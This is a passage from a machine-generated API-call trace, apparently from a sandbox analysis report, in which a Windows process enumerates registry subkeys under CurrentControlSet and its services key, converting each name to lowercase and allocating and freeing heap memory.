Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.470] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0254.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.471] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.471] RegCloseKey (hKey=0x148) returned 0x0 [0254.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0254.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.472] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.472] RegCloseKey (hKey=0x150) returned 0x0 [0254.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0254.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.474] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0254.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0254.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.475] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 